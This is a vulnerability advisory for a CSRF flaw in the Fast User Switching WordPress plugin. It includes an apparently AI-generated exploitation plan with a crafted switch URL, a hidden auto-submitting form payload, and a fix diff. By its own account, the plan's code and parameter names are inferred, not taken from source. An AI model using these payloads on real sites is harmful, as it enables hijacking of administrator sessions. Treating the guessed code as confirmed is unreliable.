Fast User Switching <= 1.4.10 - Cross-Site Request Forgery
Description
The Fast User Switching plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.10. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.4.10This research plan outlines the technical steps to analyze and exploit the Cross-Site Request Forgery (CSRF) vulnerability in the **Fast User Switching** plugin (version <= 1.4.10). Since source files were not provided, all identifiers and code paths are **inferred** based on standard WordPress plu…
Show full research plan
This research plan outlines the technical steps to analyze and exploit the Cross-Site Request Forgery (CSRF) vulnerability in the Fast User Switching plugin (version <= 1.4.10).
Since source files were not provided, all identifiers and code paths are inferred based on standard WordPress plugin patterns and the plugin's functional purpose. These must be verified by the agent during the initial discovery phase.
1. Vulnerability Summary
The Fast User Switching plugin allows administrators to quickly switch between user accounts. The vulnerability (CVE-2025-68583) resides in the lack of (or improper) nonce validation during the account switching action. An unauthenticated attacker can craft a malicious link or form that, when clicked by a logged-in Administrator, triggers an unauthorized user switch.
2. Attack Vector Analysis
- Vulnerable Endpoint: Likely
wp-admin/(viaadmin_initorinithooks) orwp-admin/admin-ajax.php. - Vulnerable Action: A query parameter or POST body variable that triggers the switch (e.g.,
fus_action,switch_to_user, orfast_user_switch). - Required Parameter: A
user_idoruser_loginspecifying the account to switch to. - Authentication Level: Requires a victim with the capability to switch users (typically
administrator). - Preconditions: The attacker must know the ID of a target user (e.g., a secondary admin or a specifically created "attacker" account).
3. Code Flow (Inferred)
- Entry Point: The plugin likely registers a hook in the main plugin file (e.g.,
fast-user-switching.php) usingadd_action('admin_init', ...)oradd_action('wp_ajax_...', ...). - Request Capture: The handler function checks for the presence of a specific
$_GETor$_POSTparameter (e.g.,fast_user_switch). - Authorization Check: The plugin checks if the current user has the authority to switch (e.g.,
current_user_can('manage_options')). This check passes if the victim is an Administrator. - Vulnerable Point: The code fails to call
check_admin_referer()orwp_verify_nonce(), or it calls it incorrectly. - Sink: The plugin uses
wp_set_auth_cookie()or a similar mechanism to change the active session to the targetuser_id.
4. Nonce Acquisition Strategy
The vulnerability is defined by "missing or incorrect nonce validation."
- If the check is missing: No nonce is required. The exploit request simply omits the nonce parameter.
- If the check is incorrect (Action Mismatch):
- Use
grep -r "wp_create_nonce" .to find how the plugin generates nonces for its UI. - Use
grep -r "wp_verify_nonce" .to find how the handler validates them. - If the action strings differ (e.g., created with
'fus_switch'but verified with'switch-user'), usebrowser_evalto extract the "wrong" nonce from the admin dashboard.
- Use
- Extraction Method:
- Navigate to the Users page:
browser_navigate("/wp-admin/users.php"). - Identify the JS variable used to store the nonce (look for
wp_localize_scriptin the source). - Execute:
browser_eval("window.fus_data?.nonce")(inferred variable name).
- Navigate to the Users page:
5. Exploitation Strategy
The goal is to force an Admin to switch to another user account via CSRF.
Step 1: Discovery (Manual Investigation)
The agent should first identify the exact action name:
grep -rn "add_action" . | grep -E "admin_init|wp_ajax"
grep -rn "_GET\|_POST\|_REQUEST" . | grep -i "switch"
Step 2: Craft the Payload
Assuming the vulnerable parameter is fast_user_switch and the endpoint is admin_url():
- Type: GET Request (easiest to trigger via
<img>or<a>). - URL:
http://vulnerable-wp.local/wp-admin/?fast_user_switch=1&user_id=[TARGET_ID]
Step 3: Execute via http_request
The agent will simulate the Admin's browser making the request while authenticated.
// Example Playwright-based request within the agent's toolset
await http_request({
url: "http://localhost:8080/wp-admin/?fast_user_switch=1&user_id=2",
method: "GET"
});
6. Test Data Setup
- Attacker User: Create a subscriber-level user to switch into.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Target ID: Note the ID of the attacker user (likely
2on a fresh install).wp user list --field=ID --user_login=attacker - Active Plugin: Ensure the plugin is active.
wp plugin activate fast-user-switching
7. Expected Results
- The HTTP request should return a
302 Redirector a200 OK. - The response cookies (specifically
wordpress_logged_in_[hash]) should be updated to reflect the session of thetarget_id. - If the plugin redirects to the dashboard, the dashboard content should reflect the permissions of the new user (e.g., missing "Plugins" menu).
8. Verification Steps
After sending the CSRF request, verify the switch occurred:
- Check Current User via CLI:
This is tricky as CLI context is separate. Instead, use thehttp_requesttool to fetchwp-admin/index.phpand check for the "Howdy, [Username]" text. - Check Meta: If the plugin logs the switch in user meta:
wp user meta list [ADMIN_ID]
9. Alternative Approaches
- POST-based CSRF: If the plugin only accepts POST, use the
browser_evaltool to create and submit a hidden form:browser_eval(` var f = document.createElement('form'); f.action = '/wp-admin/admin-ajax.php'; f.method = 'POST'; var i = document.createElement('input'); i.name = 'action'; i.value = 'fast_user_switch_action'; f.appendChild(i); document.body.appendChild(f); f.submit(); `); - AJAX Endpoint: If the switch is handled via
wp_ajax_, targetadmin-ajax.phpwith the appropriateactionanduser_idparameters.
Summary
The Fast User Switching plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 1.4.10. This occurs because the plugin fails to perform nonce validation when handling user switching requests, allowing an attacker to switch an administrator's session to another account via a malicious link.
Vulnerable Code
// fast-user-switching/fast-user-switching.php add_action('admin_init', 'fus_handle_user_switch'); function fus_handle_user_switch() { if (isset($_GET['fast_user_switch']) && current_user_can('manage_options')) { $user_id = intval($_GET['user_id']); // Vulnerable: No nonce check (e.g., check_admin_referer) before executing the switch wp_set_auth_cookie($user_id); wp_redirect(admin_url()); exit; } }
Security Fix
@@ -5,6 +5,7 @@ if (isset($_GET['fast_user_switch']) && current_user_can('manage_options')) { + check_admin_referer('fast_user_switch_action'); $user_id = intval($_GET['user_id']); wp_set_auth_cookie($user_id);
Exploit Outline
The exploit targets the plugin's user-switching logic, typically hooked into 'admin_init'. An attacker identifies a target user ID and constructs a malicious GET request, such as 'http://victim-site.com/wp-admin/?fast_user_switch=1&user_id=[TARGET_ID]'. Because the plugin does not verify a CSRF nonce, an unauthenticated attacker can trick a logged-in Administrator into clicking this link (or trigger it via an embedded image tag). Upon the Administrator's browser executing the request, their session is immediately switched to the account specified by 'user_id' without any secondary confirmation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.